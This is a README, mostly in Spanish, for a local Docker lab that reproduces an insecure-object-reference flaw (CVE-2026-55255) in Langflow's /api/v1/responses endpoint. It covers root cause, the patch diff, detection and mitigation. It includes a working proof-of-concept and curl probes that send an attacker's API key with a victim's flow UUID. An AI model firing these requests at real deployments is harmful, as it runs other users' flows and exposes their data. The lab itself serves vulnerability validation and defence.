CVE-2026-55255 - Langflow IDOR en /api/v1/responses

Resumen ejecutivo

Este repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-55255, una vulnerabilidad de Referencia Directa a Objetos Insegura (IDOR, por sus siglas en inglés) que afecta a la API de Respuestas compatible con OpenAI de Langflow.

Langflow es una plataforma de código abierto para crear e implementar agentes y flujos de trabajo impulsados por IA. El comportamiento vulnerable afecta al endpoint /api/v1/responses, donde un atacante autenticado puede proporcionar el UUID de flujo de otro usuario como valor model y hacer que Langflow ejecute ese flujo propiedad de la víctima.

Este laboratorio compara dos versiones de Langflow:

La ruta de validación HTTP demostrada en este laboratorio local es:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow

En el objetivo vulnerable, la clave de API del atacante puede ejecutar el flujo de la víctima y la respuesta contiene el marcador exclusivo de la víctima:```text
VICTIM_ONLY_CONTEXT_55255_VULN

En el objetivo parcheado, la misma solicitud entre usuarios no devuelve el marcador de la víctima y devuelve un cuerpo de error al estilo de OpenAI:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}

Este laboratorio valida el comportamiento HTTP vulnerable frente al parcheado utilizando Langflow 1.9.0 y Langflow 1.9.1.

El laboratorio está intencionalmente limitado a servicios Docker locales. No apunta a sistemas externos ni incluye robo de credenciales, volcado de bases de datos, cargas útiles destructivas, devoluciones de llamada externas, malware, persistencia ni actividad posterior a la explotación.

## Hechos Verificados

| Afirmación | Evidencia | Cómo verificarlo en este laboratorio |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 afecta al endpoint `/api/v1/responses` de Langflow. | El aviso de GitHub GHSA-qrpv-q767-xqq2 describe un IDOR en `/api/v1/responses`. | Revise la sección de Referencias y ejecute el PoC contra ambos objetivos locales. |
| El aviso de GitHub lista las versiones afectadas como `< 1.9.1` y la versión parcheada como `1.9.1`. | Aviso de GitHub GHSA-qrpv-q767-xqq2. | Compare las versiones vulnerable y parcheada de los objetivos en `docker-compose.yml`. |
| Algunas fuentes de vulnerabilidades posteriores no coinciden en la versión corregida exacta. | GitHub/GitLab listan `1.9.1` como corregida; algunas páginas de inteligencia posteriores mencionan `1.9.2` o contienen redacción mixta. | Revise la sección de Referencias y confíe en la validación del laboratorio para el comportamiento probado de 1.9.1. |
| Este laboratorio usa Langflow 1.9.0 como objetivo vulnerable de comparación. | El servicio `vuln` usa `langflowai/langflow:1.9.0`. | Inspeccione `docker-compose.yml` y ejecute `docker compose ps`. |
| Este laboratorio usa Langflow 1.9.1 como objetivo parcheado de comparación. | El servicio `patched` usa `langflowai/langflow:1.9.1`. | Inspeccione `docker-compose.yml` y ejecute `docker compose ps`. |
| La API de Responses de Langflow usa `POST /api/v1/responses`. | La documentación de Langflow describe el endpoint de la API de Responses compatible con OpenAI. | Ejecute el PoC o una solicitud curl manual contra `/api/v1/responses`. |
| La API de Responses de Langflow acepta un ID de flujo como valor de `model`. | La documentación de Langflow indica que el valor de `model` se reemplaza con un `flow_id`. | Inspeccione el cuerpo de la solicitud del PoC. |
| Las solicitudes a la API de Langflow requieren una clave API mediante `x-api-key`. | La documentación de la API de Langflow describe la autenticación con clave API mediante el encabezado `x-api-key`. | Inspeccione los encabezados de la solicitud del PoC. |
| El PoC se basa en solicitudes. | `poc/validate_idor.py` envía solicitudes HTTP y no llama a Docker, Docker Compose, comandos de shell ni APIs de contenedores. | Inspeccione `poc/validate_idor.py`. |
| El objetivo vulnerable ejecuta un flujo propiedad de la víctima con una clave API propiedad del atacante. | La respuesta vulnerable devuelve `VICTIM_ONLY_CONTEXT_55255_VULN`. | Ejecute el comando PoC vulnerable con el ID de flujo de la víctima y la clave API del atacante. |
| El objetivo parcheado bloquea la misma ruta de ejecución entre usuarios. | La respuesta parcheada devuelve `error.code = flow_not_found` y no devuelve el marcador de la víctima. | Ejecute el comando PoC parcheado con el ID de flujo de la víctima y la clave API del atacante. |

## Supuestos y Desconocidos

Este laboratorio usa Langflow 1.9.0 como objetivo vulnerable de comparación porque el aviso de GitHub GHSA-qrpv-q767-xqq2 identifica las versiones anteriores a 1.9.1 como afectadas, y las pruebas locales confirmaron el comportamiento vulnerable en 1.9.0.

Este laboratorio usa Langflow 1.9.1 como objetivo parcheado de comparación porque el aviso de GitHub GHSA-qrpv-q767-xqq2 lista 1.9.1 como la versión parcheada, y las pruebas locales confirmaron que 1.9.1 bloquea la ruta de ejecución entre usuarios probada en `/api/v1/responses` con `flow_not_found`.

Existe una discrepancia de versiones entre las fuentes. Los avisos de GitHub y GitLab listan las versiones anteriores a 1.9.1 como afectadas y 1.9.1 como corregida. Algunas páginas de inteligencia de vulnerabilidades posteriores mencionan 1.9.2 o contienen redacción mixta en torno a la versión corregida. Este repositorio documenta esa discrepancia y valida el comportamiento probado directamente:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed

Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed

Este laboratorio asume que el atacante ya conoce un UUID de flujo de la víctima. El PoC no realiza fuerza bruta sobre los IDs de flujo, no enumera flujos ni intenta descubrir IDs de flujo de la víctima.

Este laboratorio se centra en el comportamiento HTTP observable de:```text POST /api/v1/responses

con esta forma de solicitud:```json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

The lab demonstrates unauthorized cross-user flow execution in the vulnerable target and blocked behavior in the patched target.

The lab does not demonstrate:

• brute-forcing flow UUIDs,
• flow ID enumeration,
• credential theft,
• database dumping,
• use of real LLM provider API keys,
• access to real production data,
• external callbacks,
• remote command execution,
• malware,
• persistence,
• or attacks against non-lab systems.

Root Cause Summary

The root cause of CVE-2026-55255 is an authorization gap in Langflow's flow resolution logic.

The /api/v1/responses endpoint accepts a flow UUID through the model field. In vulnerable versions, the UUID lookup path inside get_flow_by_id_or_endpoint_name() could load a Flow object directly by primary key without enforcing that the resolved Flow.user_id matched the authenticated API-key user.

The vulnerable behavior can be summarized as:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output

El comportamiento parcheado se puede resumir como:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed

El problema de seguridad no es que el atacante pueda llamar a /api/v1/responses con sus propios flows. Eso es un comportamiento esperado. El problema es que un usuario autenticado con bajos privilegios puede hacer que el endpoint ejecute un flow propiedad de otro usuario cuando se proporciona el UUID del flow de la víctima.

La lección de seguridad es:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.

## Análisis del Código Fuente

El problema a nivel de código fuente se confirmó comparando Langflow `v1.9.0` y `v1.9.1`.

Las etiquetas de código fuente revisadas utilizadas para el análisis fueron:

| Versión | Commit de Git |
| ------- | ------------- |
| v1.9.0  | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1  | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |

El helper relevante es:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:

En la rama UUID vulnerable, el flujo se cargó por ID:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)

La comprobación de seguridad que faltaba era:```python
flow.user_id == authenticated_user.id

Sin esa comprobación de propietario, un UUID de flujo válido era suficiente para resolver un objeto Flow aunque perteneciera a otro usuario.

La versión parcheada añade la normalización de user_id y aplica el alcance del propietario en la ruta del UUID:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

El comportamiento importante es:```text
if the flow exists
and the flow belongs to another user
then treat it as not found

Esta es la razón por la que la respuesta del laboratorio parcheado devuelve:```json {"error":{"code":"flow_not_found"}}

en lugar de ejecutar el flujo propiedad de la víctima.

Para este laboratorio, el comportamiento vulnerable principal es la ruta de ejecución `/api/v1/responses` que llega a `get_flow_by_id_or_endpoint_name()` y resuelve un UUID de flujo propiedad de la víctima sin exigir propiedad.

El parche también refuerza las rutas de ejecución de flujos relacionadas. En `endpoints.py`, las rutas que anteriormente usaban el helper sin procesar como dependencia de FastAPI se cambiaron de:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]

a wrappers autenticados como:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

Esos cambios de envoltorio están relacionados con el endurecimiento de otras rutas de ejecución de flujos, como `/api/v1/run*`. Garantizan que el helper reciba el ID del usuario autenticado en lugar de depender de un parámetro de solicitud simple. La corrección principal demostrada por este laboratorio sigue siendo la comprobación de propiedad en el lado del resolver dentro de `get_flow_by_id_or_endpoint_name()`.

Por lo tanto, la corrección a nivel de código fuente tiene dos partes relacionadas:```text
Core resolver fix:
  enforce owner scoping before returning a Flow object

Related route dependency hardening:
  pass the authenticated API-key or session user's ID into the resolver

Resumen del Parche de Fuente

Langflow 1.9.1 refuerza la ruta vulnerable de resolución de flujos al tratar las búsquedas entre usuarios como no encontradas y al garantizar que las rutas de ejecución de flujos relacionadas pasen el contexto del usuario autenticado al resolvedor.

La lógica central del parche es:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

El parche también añade dependencias de envoltorio autenticadas para las rutas que necesitan resolver flujos:```python
async def get_flow_for_api_key_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

async def get_flow_for_current_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)

El cambio relevante para la seguridad es:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow

After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed

El parche también reduce la divulgación de información. El acceso entre usuarios se trata como no encontrado en lugar de devolver una respuesta de autorización distinta que podría revelar si existe el flujo de otro usuario.

Este laboratorio mantiene la revisión del código fuente y la validación en tiempo de ejecución por separado:```text
Source patch review:
  explains why the vulnerable resolver could return a victim-owned flow.

Runtime validation:
  proves the vulnerable target executes the victim-owned flow and the patched target does not.

Arquitectura del Laboratorio

El laboratorio ejecuta dos objetivos Langflow aislados mediante Docker Compose.```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md

The `state/` files are generated by the seed services during lab startup. The `src/` directory contains the checked-out Langflow source trees used for source-diff verification.

The two Langflow services use separate application versions and separate in-container SQLite databases:

| Service      | Component | Version / Role                         |
| ------------ | --------- | -------------------------------------- |
| vuln         | Langflow  | vulnerable target application          |
| patched      | Langflow  | patched comparison application         |
| seed-vuln    | Python    | creates local users, API keys, flows   |
| seed-patched | Python    | creates local users, API keys, flows   |

Default exposed services:```text
Vulnerable target: http://localhost:7860
Patched target:    http://localhost:7861

El laboratorio utiliza imágenes fijadas de Langflow:

Los servicios semilla se ejecutan automáticamente durante:```bash docker compose up --build --wait

Crean:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready

Los archivos state/*.json generados por seed ofrecen valores de prueba locales desechables, como claves de API y UUID de flujo.

El PoC no lee state/*.json. El usuario proporciona la URL objetivo, la clave de API, el ID de flujo y el marcador esperado opcional mediante argumentos de línea de comandos.

El laboratorio no crea ni modifica la ruta vulnerable /api/v1/responses. Esa ruta la proporciona Langflow.

Requisitos

• Docker Desktop o Docker Engine
• Docker Compose v2 con soporte para --wait
• Python 3
• jq para los comandos convenientes de este README
• Acceso a Internet durante la primera descarga de la imagen Docker

No se requiere ningún paquete de terceros de Python para el PoC. El PoC utiliza únicamente módulos de la biblioteca estándar de Python.

El contenedor seed instala el paquete de Python requests internamente. Ese paquete lo usan únicamente los servicios seed durante la configuración del laboratorio, no el PoC.

Inicio Rápido

Inicie el laboratorio desde un estado limpio:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait

Comprobar el estado del servicio:```bash
docker compose ps

Servicios saludables esperados:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched

Objetivos expuestos esperados:```text
http://localhost:7860
http://localhost:7861

Compruebe los archivos de estado de semilla:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .

Archivos esperados:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready

Ejecute la validación basada en solicitudes contra el objetivo vulnerable:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

Ejecute la validación basada en peticiones contra el objetivo parcheado:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

Uso del PoC

El PoC acepta una URL de destino, una clave de API, un ID de flujo y un marcador esperado opcional:```bash python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>

Opciones obligatorias:

| Opción | Significado |
| ------ | ------- |
| `--url` | URL base de Langflow |
| `--api-key` | Clave de API utilizada en el encabezado `x-api-key` |
| `--flow-id` | UUID del flujo utilizado como valor de `model` |

Opciones opcionales:

| Opción | Significado |
| ------ | ------- |
| `--expect-marker` | Marcador esperado en la respuesta si el flujo objetivo se ejecuta |

El PoC envía esta solicitud HTTP:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json

Cuerpo de la solicitud:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

El PoC se basa en peticiones. No llama a Docker, Docker Compose, comandos de shell, WP-CLI, APIs de contenedores ni APIs de seed de Langflow.

En este laboratorio, `state/*.json` se puede usar para copiar las claves API locales desechables y los IDs de flujo en el comando del PoC. El PoC en sí no depende de esos archivos. Las claves API en `state/*.json` son claves desechables de laboratorio local; no utilices claves API reales de producción en estos comandos.

## Resultados Esperados

### Objetivo Vulnerable

Comando:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

Señal esperada del objetivo vulnerable:```text

[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]

[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True

[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...

======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED

La importante señal vulnerable es:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned

Objetivo Parcheado

Comando:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

Señal esperada del objetivo parcheado:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : False
expected marker         : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found            : False
error code              : flow_not_found

[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}

========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED

La importante señal corregida es:```text attacker API key

• victim flow UUID
• no victim marker
• error.code = flow_not_found

### Ejecución Observada Sin Marcador

Si se omite `--expect-marker` y el objetivo devuelve una respuesta completa de Langflow, el PoC informa:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED

Esto significa que el flujo objetivo se ejecutó, pero el PoC no puede probar por sí mismo que el ID de flujo suministrado pertenezca a otro usuario. La propiedad debe confirmarse mediante los datos semilla del laboratorio, la fuente del ID de flujo u otras evidencias autorizadas.

Cómo funciona la validación

El validador envía una solicitud HTTP POST al endpoint de la API de Langflow Responses:```text /api/v1/responses

La solicitud utiliza la clave de API proporcionada:```text
x-api-key: <attacker-api-key>

El cuerpo de la solicitud utiliza el UUID del flujo proporcionado como valor de model:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

Comportamiento vulnerable esperado:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker

Comportamiento esperado tras el parche:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found

En este laboratorio, Langflow 1.9.1 devuelve `HTTP 200` con un objeto de error de estilo OpenAI:```json
{"error":{"code":"flow_not_found"}}

Por eso el PoC comprueba el código de error JSON en lugar de asumir que el estado de transporte HTTP debe ser 404.

El PoC valida intencionadamente solo la condición de ejecución del flujo entre usuarios. No intenta descubrir IDs de flujo, hacer fuerza bruta sobre UUIDs, enumerar usuarios, extraer secretos ni desencadenar servicios externos.

Reproducción manual HTTP con curl

La semilla del laboratorio escribe valores locales desechables en state/*.json. Estos comandos usan esos valores locales para construir peticiones curl. Los archivos de estado son artefactos exclusivos del laboratorio.

Sonda vulnerable:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/vuln.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

Resultado vulnerable esperado:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"

Sonda parcheada:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/patched.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

Resultado esperado tras el parche:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}

Impacto

CVE-2026-55255 es sensible a la seguridad en implementaciones de Langflow multiusuario o multiinquilino porque un usuario autenticado puede ser capaz de ejecutar el flujo de otro usuario si se conoce el UUID del flujo de la víctima.

El impacto potencial en el mundo real depende de lo que haga el flujo propiedad de la víctima.

El impacto posible puede incluir:

• ejecución no autorizada del flujo de IA de otro usuario,
• exposición de los datos procesados por el flujo de la víctima,
• acceso a la salida del prompt o del flujo propiedad de la víctima,
• uso de integraciones o componentes configurados propiedad de la víctima,
• consumo de recursos de cómputo o API asociados a la víctima,
• omisión del límite de autorización entre usuarios o inquilinos,
• y divulgación de información a través de la salida del flujo.

La explotabilidad práctica depende de si el atacante puede obtener un UUID de flujo de víctima válido. La adivinación del UUID de flujo no es el foco de este laboratorio, y el PoC no fuerza bruta los IDs de flujo.

Este laboratorio demuestra únicamente la falla del límite de autorización seguro:```text attacker API key

• victim flow UUID
• victim-only marker returned

El laboratorio no demuestra acceso real a datos, acceso real a secretos, abuso de claves del proveedor de LLM, callbacks externos ni post-explotación.

## Detección y monitoreo

Los indicadores potenciales incluyen solicitudes autenticadas a:```text
POST /api/v1/responses

Patrón de solicitud sospechosa:```text x-api-key belongs to user A model contains flow UUID owned by user B

Idea de detección de alta señal:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID

Posibles registros o telemetría de la capa de aplicación para revisar:

• propietario de la clave de API,
• ruta de la solicitud,
• valor de model,
• ID de flujo resuelto,
• propietario del flujo resuelto,
• código de error de la respuesta,
• respuestas flow_not_found,
• respuestas completadas correctamente desde /api/v1/responses,
• intentos inusuales de ejecución de flujos entre usuarios,
• intentos repetidos contra muchos UUID de flujo,
• y uso de API inusualmente alto por parte de un usuario con pocos privilegios.

Ejemplo de artefacto de validación vulnerable:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID

Response: status: completed error: null output contains victim-only marker

Ejemplo de artefacto de validación parcheado:```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  error.code: flow_not_found
  victim marker not returned

Medidas de monitoreo recomendadas:

• Revisar los registros de API para /api/v1/responses.
• Correlacionar el propietario de la clave de API con el propietario del flujo solicitado.
• Alertar sobre el uso de UUID de flujo entre usuarios.
• Revisar ráfagas de flow_not_found contra la API de Responses.
• Revisar el uso inusualmente alto de la API por parte de usuarios recién creados o con privilegios bajos.
• Revisar canales públicos o compartidos donde los UUID de flujo puedan estar expuestos.
• Rotar las claves de API afectadas si se sospecha un uso indebido.
• Revisar los flujos propiedad de la víctima en busca de conectores, herramientas o fuentes de datos sensibles.

Notas de mitigación y parches

Actualice Langflow a una versión corregida.

El aviso de GitHub GHSA-qrpv-q767-xqq2 indica que Langflow 1.9.1 está parcheado para CVE-2026-55255. Algunas fuentes downstream de inteligencia de vulnerabilidades mencionan 1.9.2 o contienen redacción mixta sobre la versión corregida. Este laboratorio valida que Langflow 1.9.1 bloquea la ruta de ejecución entre usuarios probada en /api/v1/responses con flow_not_found. Para entornos de producción, actualice a la versión más reciente disponible de Langflow en lugar de detenerse en la versión de comparación del laboratorio.

Pasos de mitigación recomendados:

• Actualice Langflow a una versión corregida o a la más reciente disponible.
• Confirme que la versión instalada no esté en el rango afectado.
• Restrinja la exposición de Langflow a redes de confianza cuando sea posible.
• Exija autenticación para las rutas de API.
• Revise y rote las claves de API si se sospecha explotación.
• Revise la propiedad de los flujos y la configuración de uso compartido.
• Revise los registros en busca de solicitudes entre usuarios a /api/v1/responses.
• Evite exponer los UUID de flujo innecesariamente.
• Trate los bloqueos de proxy inverso o WAF como controles temporales, no como sustitutos de la actualización.
• En entornos multiinquilino, pruebe que los usuarios con clave de API no puedan ejecutar flujos que no sean de su propiedad.

Lecciones de ingeniería de seguridad:

• No confíe en el secreto del UUID de los objetos como control de autorización.
• Limite la búsqueda de objetos por el principal autenticado.
• Aplique comprobaciones de propiedad antes de usar los objetos resueltos.
• Evite el uso directo de ayudantes genéricos de resolución como dependencias de rutas cuando requieran contexto autenticado.
• Trate las respuestas de "no encontrado" con cuidado para evitar la divulgación de la existencia de objetos.
• Agregue pruebas de regresión para el acceso a objetos entre usuarios.

Límites de seguridad

Este laboratorio es solo para investigación de seguridad local y demostración controlada.

No ejecute el PoC ni las solicitudes curl manuales contra sistemas que no sean de su propiedad o para los que no tenga autorización explícita para probar.

No use credenciales de producción reales, datos de clientes, datos de pago, claves de API, claves de proveedores de LLM, credenciales de bases de datos o secretos de producción en este laboratorio.

El alcance previsto se limita a servicios locales de Docker, tales como:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861

El PoC está basado intencionalmente en solicitudes. No llama a Docker, Docker Compose, comandos de shell, WP-CLI ni APIs de contenedores.

El laboratorio no incluye payloads para:

* fuerza bruta de UUID de flujo,
* enumeración de usuarios,
* robo de credenciales,
* volcado de bases de datos,
* abuso de claves de proveedor de LLM,
* ejecución arbitraria de comandos,
* malware,
* persistencia,
* movimiento lateral,
* acceso a datos de clientes,
* o devoluciones de llamada externas.

El objetivo es demostrar una condición técnica específica en un entorno controlado:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found

Referencias

• Registro CVE: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255

• Aviso de GitHub: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2

• Aviso de GitLab: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/

• Solicitud de extracción de Langflow: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832

• Documentación de la API de Respuestas de OpenAI de Langflow https://docs.langflow.org/api-openai-responses

• Documentación de Claves de API y Autenticación de Langflow https://docs.langflow.org/api-keys-and-authentication

• Ejemplos de Referencia de la API de Langflow https://docs.langflow.org/api-reference-api-examples

• Repositorio de Langflow en GitHub https://github.com/langflow-ai/langflow

• Imagen de Docker de Langflow https://hub.docker.com/r/langflowai/langflow

• Nota del Plugin de Tenable para GHSA-qrpv-q767-xqq2 https://www.tenable.com/plugins/container-security/443659

• Inteligencia de Vulnerabilidades de Mondoo: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255